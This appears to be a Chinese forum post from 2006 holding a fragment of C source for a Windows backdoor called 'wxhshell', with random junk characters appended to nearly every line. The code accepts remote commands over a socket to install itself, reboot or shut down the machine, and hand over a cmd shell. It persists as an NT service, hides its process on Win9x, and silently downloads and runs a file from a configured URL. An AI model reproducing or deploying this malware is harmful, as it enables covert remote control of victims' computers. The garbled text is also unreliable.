  } (ua q<Cvg  
  else { C),7- ?  
a4&:@`=  
    switch(cmd[0]) { nm@']  
  %!y89x=E  
  // 帮助 VE]6wwV2  
  case '?': { TJOvyz`t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O@jqdJu  
    break; S;=_;&68?  
  } 1,`H:%z%  
  // 安装 \A<v=VM|  
  case 'i': { //.>>-~1m  
    if(Install()) U -EhPAB@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "K?Q  
    else 0pN{y}x,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3taa^e.  
    break; 3SNL5  
    } a2yE:16o6  
  // 卸载 eN/G i<  
  case 'r': { OVR?*"N_  
    if(Uninstall()) mW4%2fD[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m<:IFx#  
    else _ 08];M|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2a `J%A  
    break; l>&sIX  
    } .Xd0 Q=1h  
  // 显示 wxhshell 所在路径 8!zb F<W9  
  case 'p': { mp\%M 1<  
    char svExeFile[MAX_PATH]; c+2%rh1  
    strcpy(svExeFile,"\n\r"); %idk@~HCg  
      strcat(svExeFile,ExeFile); 0@pu@DP~  
        send(wsh,svExeFile,strlen(svExeFile),0); hz\WZ^  
    break; l6 7KJ  
    } i-lKdpv  
  // 重启 S LGW:  
  case 'b': { r,xmEj0E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E>pVn2|  
    if(Boot(REBOOT)) fbC~WV#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;6m;M63z  
    else { .Yx_:h=u  
    closesocket(wsh); 4D"4zp7  
    ExitThread(0); 6)[< )?A.[  
    } #3MKH8k&~  
    break; {TAw)!R~  
    } \%5MAQS  
  // 关机 r]LCvsVa  
  case 'd': { %8FN0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ut &/\k=N  
    if(Boot(SHUTDOWN)) 6 h'&6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;7rv  
    else { 6G_<2bO  
    closesocket(wsh); u7=T(4a  
    ExitThread(0); YaL]>.;Z:"  
    } k+1gQru{d  
    break;  t;47(U  
    } #C*&R>IvY  
  // 获取shell ]ii+S"U3  
  case 's': { u) *Kws  
    CmdShell(wsh); WRpyr  
    closesocket(wsh); eVt1d2.O  
    ExitThread(0); ?CY1]d  
    break; x(~<tX~  
  } IR$ (_9z  
  // 退出 NL!9U,h5|  
  case 'x': { 3~%!m<1:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S_Z`so}  
    CloseIt(wsh); C;qMw-*F  
    break; $<w)j!  
    } =u|~ <zQw  
  // 离开 9DE)S)e8  
  case 'q': { ^M[P-#X_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &88oB6$D^q  
    closesocket(wsh); ? +`x e{k  
    WSACleanup(); \dkOK`)b  
    exit(1); Gi7RMql6Q  
    break; `# ^0cW  
        } QxpKX_@Q5  
  } YYUe)j{T  
  } #Ufo)\x  
213\ehhG<  
  // 提示信息 h6M;0_'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \Tm}mAvK/o  
} SY _='9U  
  } &s VadOBQ  
K2ewucn  
  return; WzlC*iv  
} I>"Ci(N  
A6p`ma $L  
// shell模块句柄 {-WTV"L5*2  
int CmdShell(SOCKET sock) &]iKr iG  
{ $f-hUOuyo  
STARTUPINFO si; li/aN  
ZeroMemory(&si,sizeof(si)); ^^}Hs-{T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VKrShI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -[]';f4]M  
PROCESS_INFORMATION ProcessInfo; N"c(e6  
char cmdline[]="cmd"; qnIew?-*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w~+aW(2  
  return 0; ` }8&E(<  
} geGeZ5+B  
r<yhI>>;<  
// 自身启动模式 YQVcECj  
int StartFromService(void) K=\&+at1  
{ Ijedo/  
typedef struct GdA.g w  
{ /[pqI0sf<A  
  DWORD ExitStatus; x$B&L`QV  
  DWORD PebBaseAddress; AHd-  
  DWORD AffinityMask; WS,7dz  
  DWORD BasePriority; A 's-'8m  
  ULONG UniqueProcessId; nSS=%,?  
  ULONG InheritedFromUniqueProcessId; V4K'R2t  
}   PROCESS_BASIC_INFORMATION; f)6))  
-dRFA2 Y  
PROCNTQSIP NtQueryInformationProcess; \:/Lc{*}MD  
VKuAO$s$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e7k%6'@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O<N#M{kc.  
ISNcswN#  
  HANDLE             hProcess; ^v :Zo  
  PROCESS_BASIC_INFORMATION pbi; aj8Rb&  
wNDbHR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kb #^lO  
  if(NULL == hInst ) return 0; GozPvR^/  
g22gIj]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pe$6s:|NS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o"q+,"QL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S`= WF^  
92[a; a  
  if (!NtQueryInformationProcess) return 0; qL 5>o>J  
v1+U;Th>g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nWaNT-  
  if(!hProcess) return 0; gH7z  
APSgnf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {eHAg<+  
@x{`\AM|%  
  CloseHandle(hProcess); j43$]'-  
G0d&@okbFC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?F@%S3h.  
if(hProcess==NULL) return 0; f8n V=AQ  
{IM! Wb  
HMODULE hMod; }Dfwm)]Q  
char procName[255]; <hvRP!~<)  
unsigned long cbNeeded; 1>pe&n/  
!Q %P%P<$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q{y{rC2P  
q``wt  
  CloseHandle(hProcess); }[!92WS/ee  
T|){<  
if(strstr(procName,"services")) return 1; // 以服务启动 6X_\Ve  
PHr a+NY#A  
  return 0; // 注册表启动 AEg(m<t  
} SvuTc!$?  
63&^BW  
// 主模块 HlB]38  
int StartWxhshell(LPSTR lpCmdLine) MXZ>"G  
{ uA~slS Z  
  SOCKET wsl; B3 zk(RNZ  
BOOL val=TRUE; :1aL ?  
  int port=0; bS^WhZy'(  
  struct sockaddr_in door; 7$uJ7`e  
)K]pnH|  
  if(wscfg.ws_autoins) Install(); 2F+gF~znQ  
w*!wQ,o  
port=atoi(lpCmdLine); ALT^8c&K  
nCnjq=  
if(port<=0) port=wscfg.ws_port; )D@~|j:  
E^V |  
  WSADATA data; 6|;Uq'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }nrXxfu  
_D;@v?n6!O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *@S@x{{s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^v ni&sJ  
  door.sin_family = AF_INET; wEEn?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WFv!Pbq,  
  door.sin_port = htons(port); ,.mBJ SE3  
}iiHr|l3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S2^>6/[xM  
closesocket(wsl); {qpi?oY  
return 1; ZxHJ<2oD  
} lK(Fg  
e XV@.  
  if(listen(wsl,2) == INVALID_SOCKET) { \k@$~}xD,  
closesocket(wsl); *75YGD  
return 1; yfj(Q s  
} 5<+K?uhm  
  Wxhshell(wsl); -j`LhS~|  
  WSACleanup(); wN Wka7P*  
H Sz" tN  
return 0; (?i[jO||B  
FfFak@H  
} +l 0g`:  
93Yn`Av;  
// 以NT服务方式启动 SaDA`JmO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3YL l;TP_  
{ *dsX#Iz  
DWORD   status = 0; 1y5Ex:JVZT  
  DWORD   specificError = 0xfffffff; ~(X(&  
Af-UScD%G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;)hw%Z]Jj$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K~6e5D7.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3vic(^Qh  
  serviceStatus.dwWin32ExitCode     = 0; F jrINxL7^  
  serviceStatus.dwServiceSpecificExitCode = 0; AR&:Q4r|  
  serviceStatus.dwCheckPoint       = 0; +]wuJSxc  
  serviceStatus.dwWaitHint       = 0; q9*MNHg }  
<M+R\SH-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Lxe^v/LsT  
  if (hServiceStatusHandle==0) return; ;sOsT?)7$  
w4};q%OBj  
status = GetLastError(); 1,t)3;o$  
  if (status!=NO_ERROR) _M5%V>HO  
{ R= 5 **  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #/-_1H  
    serviceStatus.dwCheckPoint       = 0; ;`j/D@H  
    serviceStatus.dwWaitHint       = 0; X@wm1{!  
    serviceStatus.dwWin32ExitCode     = status; ig#r4nQ=  
    serviceStatus.dwServiceSpecificExitCode = specificError; O l@_(U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E5GJi  
    return; ZCui Fm  
  } DDd/DAkCX  
})F*:9i*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1=VJ&D;  
  serviceStatus.dwCheckPoint       = 0; kuMKX`_  
  serviceStatus.dwWaitHint       = 0; 1 Y/$,Oa5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \Sy7 "a  
} 0D&>Gyc*0  
fw-\|fP  
// 处理NT服务事件,比如:启动、停止 iLX_T]1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eEw.'B  
{ Mt>oI SN&d  
switch(fdwControl) dJuD|9R  
{ JAb6zpP  
case SERVICE_CONTROL_STOP: hf<J \   
  serviceStatus.dwWin32ExitCode = 0; MDa7 B +4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qYB~VE03  
  serviceStatus.dwCheckPoint   = 0; Nh!_l  
  serviceStatus.dwWaitHint     = 0; 6z,Dyy]tl  
  { GF<[}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V2d,ksKwn  
  } m@G i6   
  return; <^R{U&Z@  
case SERVICE_CONTROL_PAUSE: J ++v@4Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )0 Z!n  
  break; I*|P@0  
case SERVICE_CONTROL_CONTINUE: Wr~yK? : ]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i775:j~zx0  
  break; @R6 ttx  
case SERVICE_CONTROL_INTERROGATE: ;iQEkn2T|}  
  break; mLbN/M  
}; z!wDpG7b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M4f;/`w  
} U.0kR/>Z=  
m.Lij!0  
// 标准应用程序主函数 B;#J"6w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @4+#Xd7"  
{ ~Qj}ijWD  
Y}G_Z#-!  
// 获取操作系统版本 ~f>2U]F>5  
OsIsNt=GetOsVer(); y0bq;(~X~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $K}DB N; 4  
DT(d@upH  
  // 从命令行安装 " {de k  
  if(strpbrk(lpCmdLine,"iI")) Install(); #CUz uk&  
QV|>4^1D  
  // 下载执行文件 1+kE!2b;b  
if(wscfg.ws_downexe) { mqtg[~dNc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  ht97s  
  WinExec(wscfg.ws_filenam,SW_HIDE); %/9;ZV  
} R`'1t3p0i  
\}*k)$r  
if(!OsIsNt) { fC-P.:F#I  
// 如果时win9x,隐藏进程并且设置为注册表启动 @'FE2^~Jj  
HideProc(); ,ZE?{G{tuj  
StartWxhshell(lpCmdLine); :*i f  
} {<$b Aj  
else f'En#-?O  
  if(StartFromService()) k%'m*Tf  
  // 以服务方式启动 3\$wdUFr  
  StartServiceCtrlDispatcher(DispatchTable); 2B1xUj ]  
else yJx?M  
  // 普通方式启动 7N8H)X  
  StartWxhshell(lpCmdLine); J1ON,&[J  
BzJ;%ywS  
return 0; . )XP\ m\  
}
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只看该作者 1 发表于: 2006-10-10
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